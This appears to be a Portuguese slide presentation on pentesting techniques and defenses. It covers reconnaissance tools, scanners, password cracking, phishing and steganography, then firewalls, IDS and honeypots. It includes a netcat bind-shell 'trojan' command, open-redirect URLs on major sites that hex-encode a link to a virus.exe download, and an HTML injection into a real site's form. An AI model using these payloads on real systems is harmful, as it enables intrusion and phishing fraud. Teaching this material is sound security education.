Pentest -técnicas de Invasão e defesa

Prévia do material em texto

PENTEST
Técnicas de invasão e defesa
Cleber Souza Brandao 
clebeer@gmail.com
 
Cleber Brandão
cbrandao@brc.com.br
 
About me
 Utilizo linux há 7 anos
 Aulas de linux Faculdades Radial
 Formado Gerenciamento de Redes
 Suporte e aulas Projeto Telecentros SP
 Participante do ISSA-Brasil
 Testes de performance e segurança 
BRconnection®
 
Tópicos
 Técnicas de Invasão
Definindo um alvo
Recolhendo informações
Ferramentas úteis
Phishing
Esteganografia 
 Técnicas contra Invasão
Firewall + IDS
HIDS
HoneyPots
Antispam 
 
Técnicas de invasão
 Engenharia social
 Brute Force 
 Espionagem
 Segurança por obscuridade
 
Definindo um alvo 
 Onde buscar informações?
google
myspace
orkut
google groups
 
Google
 Buscas específicas
Utilizando recursos avançados do google como 
as tags Intitle, Inurl, Intext
Podem te trazer resultados muito interessantes.
 
 
 
 
 
Engenharia social
 
Adão e Eva
 Primeiras vitimas de engenharia social
 
Apenas 2 coisas no mundo são infinitas, o 
universo e a estupidez humana.
(Albert Einstein)
 
Ferramentas úteis
 google
 dig
 nmap
 nessus
 Metasploit
 telnet
 sendip
 john the ripper
 host
 hping3
 netcat
 
dig
 Uma ferramenta similar ou nslookup porém 
mais flexível, pode ser utilizada para fazer 
buscas como A,TXT, MX e NS.
 
dig +qr google.com any
;; ANSWER SECTION:
google.com. 10186 IN MX 10 smtp2.google.com.
google.com. 10186 IN MX 10 smtp3.google.com.
google.com. 10186 IN MX 10 smtp4.google.com.
google.com. 10186 IN MX 10 smtp1.google.com.
google.com. 318637 IN NS ns1.google.com.
google.com. 318637 IN NS ns2.google.com.
google.com. 318637 IN NS ns3.google.com.
google.com. 318637 IN NS ns4.google.com.
;; AUTHORITY SECTION:
google.com. 318637 IN NS ns2.google.com.
google.com. 318637 IN NS ns3.google.com.
google.com. 318637 IN NS ns4.google.com.
google.com. 318637 IN NS ns1.google.com.
;; ADDITIONAL SECTION:
smtp1.google.com. 2986 IN A 72.14.203.25
smtp2.google.com. 2986 IN A 64.233.167.25
smtp3.google.com. 2986 IN A 64.233.183.25
smtp4.google.com. 2986 IN A 72.14.215.25
ns1.google.com. 345220 IN A 216.239.32.10
ns2.google.com. 345220 IN A 216.239.34.10
ns3.google.com. 345219 IN A 216.239.36.10
ns4.google.com. 345219 IN A 216.239.38.10
 
PortScan
 
Nmap
 é o mais famoso portscan existente hoje. 
(www.insecure.org/nmap). É uma ótima 
ferramenta, muito utilizado por hackers, para 
descobrir falhas no sistema, em portas abertas 
desnecessariamente.
 
Nessus
 O Nessus é uma ferramenta de auditoria muito 
usada para detectar e corrigir vulnerabilidades 
nos PCs da rede local porem é muito utilizado 
por hackers para descobrir a vulnerabilidade de 
um alvo.
 
Reports
Nessus Scan Report
SUMMARY
 - Number of hosts which were alive during the test : 1
 - Number of security holes found : 1
 - Number of security warnings found : 1
 - Number of security notes found : 15
 
Reports
DETAILS
 . List of open ports :
 o smtp (25/tcp) (Security notes found)
 o ssh (22/tcp) (Security notes found)
 o ftp (21/tcp) (Security notes found)
 
 
Reports
Information found on port smtp (25/tcp)
 An SMTP server is running on this port
 Here is its banner : 
 220 note-clebeer ESMTP Sendmail 8.14.1/8.14.1/Debian-8ubuntu1; Thu, 1 Nov
 2007 09:35:31 -0300; (No UCE/UBE) logging access from:
 localhost(OK)-localhost [127.0.0.1]
 . Information found on port smtp (25/tcp)
 Remote SMTP server banner :
 220 note-clebeer ESMTP Sendmail 8.14.1/8.14.1/Debian-8ubuntu1; Thu, 1 Nov
 2007 09:35:57 -0300; (No UCE/UBE) logging access from:
 localhost(OK)-localhost [127.0.0.1]
 
 This is probably: Sendmail version 8.14.1
 
 
Reports
. Information found on port ssh (22/tcp)
 An ssh server is running on this port
 . Information found on port ssh (22/tcp)
 Remote SSH version : SSH-2.0-OpenSSH_4.6p1 Debian-5build1
 Remote SSH supported authentication : publickey,password
 
 Remote SSH banner : 
 CleBeer's |_b note.
 
Reports
 
Metasploit
é um ambiente utilizado para escrever, testar, e
 executa códigos de exploit. Foi desenvolvido para prover 
penetração 
e testes em computadores relacionados a esse assunto, como 
também pesquisa de vulnerabilidade.
 
Metasploit
 Linha de comando
 Interface web
 
http://127.0.0.1:55555/
 
http://127.0.0.1:55555/
 
msfconsole
 
telnet www.alvo.com.br 80
Trying 200.189.171.181...
Connected to www.alvo.com.br.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.alvo.com.br
 
Resultado
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Content-Location: http://www.alvo.com.br/index.htm
Date: Thu, 01 Nov 2007 13:26:39 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 19 Sep 2006 00:27:32 GMT
 
John the ripper
 Um programa usado para decifrar senhas 
suportado nas plataformas UNIX, DOS, 
WinNT?/Win95. É um programa disponível 
gratuitamente desenvolvido para decifrar 
senhas MD5, DES baseado na função CRYPT.
 
Usar senhas fortes?
 
 
Nem sempre é a solução
 
hping3
 Mais uma ferramenta capaz de enviar pacotes 
TCP, UDP e ICMP personalizados e receber 
respostas como consegue em icmp. Com ele 
você pode enviar arquivos encapsulados e é 
util para ataques DoS.
 
netcat
 Programa para consultoria de redes muito 
conhecido, isso deve-se ao fato de ele ser um 
programa muito versátil, podendo desde ser 
um simples telnet, portscan até um sniffer.
 
Trojan
nc -l -e /bin/bash -p 1033 
A porta 1033 será colocada em listenning, 
redirecionaremos a saída de dados para um 
shell (/bin/bash). Assim quando alguém se 
conectar a essa porta terá domínio total sobre 
o computador.
 
Sniffer
# nc -vv -z 75.126.176.71 -p 80 22 110 25 21
servidor9.molservidores.com [75.126.176.71] 22 (ssh) : Connection refused
servidor9.molservidores.com [75.126.176.71] 110 (pop3) open
servidor9.molservidores.com [75.126.176.71] 25 (smtp) open
servidor9.molservidores.com [75.126.176.71] 21 (ftp) open 
 
Phishing
 
O que é phishing?
Phishing é um tipo de fraude projetada para 
roubar sua identidade. Em um phishing scam, 
uma pessoa mal-intencionada tenta obter 
informações como números de cartões de 
crédito, senhas, dados de contas ou outras 
informações pessoais convencendo você a 
fornecê-las sob pretextos enganosos. 
 
Exemplos
Alguns sites famosos que permitem este tipo de 
fake:
google
yahoo
terra
 
Google
 http://www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5Q-
fXBJGSiQLU0eDSAueHkArnhtWZAu-
FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-
P____8BoAGyqor_A8gBAZUCCapCCqkCxU7NLQH0sz4&num=5&a
durl=%63%6c%65%62%65%65%72%2e%6e%6f%2d%69%70%2e
%6f%72%67%2f%76%69%72%75%73%2e%65%78%65
 
Yahoo
 http://br.wrs.yahoo.com/_ylt=A0geum1Mv9RGw4EB6FXz6Qt./SIG=1
29lovkbd/EXP=1188434124/**%63%6c%65%62%65%65%72%2e
%6e%6f%2d%69%70%2e%6f%72%67%2f
%76%69%72%75%73%2e%65%78%65
 
Buscador terra
 http://buscador.terra.com.br/Redirector.aspx?bstat=terrastats01&type=CK&source=buscador.terra.com.br&id=spon
sored&partner=google&query=nike&position=1&target=%63%6c
%65%62%65%65%72%2e%6e%6f%2d%69%70%2e%6f
%72%67%2f%76%69%72%75%73%2e%65%78%65
 
Destino???
 Nas 3 URLs anteriores a requisição seria 
encaminhada para:
clebeer.no-ip.org/virus.exe
 
Outro Exemplo
http://www.cceinformatica.com.br/faleNew.php?mail=cvv@cce.com.br
 
 
Adicionando...
&tipo=%3Cimg%20src=http://images.clebeer.multiply.com/logo/2%3E
 
 
Esteganografia
 Esteganografia basicamente é uma técnica de 
esconder um arquivo dentro de outro arquivo, 
podendo ser uma imagem , ou documento do 
Word até mesmo uma planilha de excel e etc 
só que de uma forma criptografada.
 
jp(hide an seek)
 O jphide e o jpseek são programas utilizados 
para esconder mensagens em arquivos JPEG.
 
origem.jpg
 
destino.jpg
 
msg.txt
Ola esta mensagem e secreta
e somente pessoas que possuam a senha podem vê-la
senha: @@(##!(*#$#*(!(@&%$(@)codDEVdw)2231
 
Utilização
 Esconder mensagem:
jphide origem.jpg destino.jpg mensagem.txt
 Descobir mensagem:
jpseek destino.jpg texto-secreto.txt
 
Quanto vale?
 Trojan (Shell) - US$ 350,00 - US$700,00
 Trojan (Roubo de Senhas) - US$600,00
 Listagem E-mail (32 milhões) - US$1.500,00
 Milhões de Usuários do ICQ - US$150,00
 Proteção Contra Detecção do Trojan - US$20,00
 Suporte
 
Tecnicas contra invasão
 Firewall
 (NHWK)IDS
 HoneyPots
 Antispam
 
Firewall
 Port Knock, uma solução leve e fácil de 
configurar, permite que portas específicas só 
sejam abertas no momento desejado atraves 
de tentativas de conexão em portas 
específicas.
 
*IDS
 NIDS – Network Intrusion Detection System
 HIDS - Host-based Intrusion Detection System
 WIDS – Wireless Intrusion Detection System
 KIDS - Kernel Intrusion Detection System
 
Honeypot
 Útil para vigilância e alerta aos tipos de 
ataques mais utilizados porem deve ser 
utilizado com cuidado para que o invasor não 
tenha acesso a rede real.
 
Antispam
 Indispensável para qualquer MX, útil para evitar 
emails forjados e de domínios não confiaveis, 
pode ser incrementado com opções de RBL e 
CAPTCHA ("Completely Automated Public 
Turing test to tell Computers and Humans 
Apart").
 
Conclusão
 Com a popularidade do SL a informação ficou 
mais acessível o que colaborou para um maior 
avanço das técnicas de invasão, em contra 
partida os sistemas de segurança vem se 
tornando mais estáveis a casa dia.
 
Créditos
 www.google.com
 www.brc.com.br
 naopod.com.br
 spookerlabs.multiply.com
 http://cartilha.cert.br/malware/
 
Perguntas
 
OBRIGADO!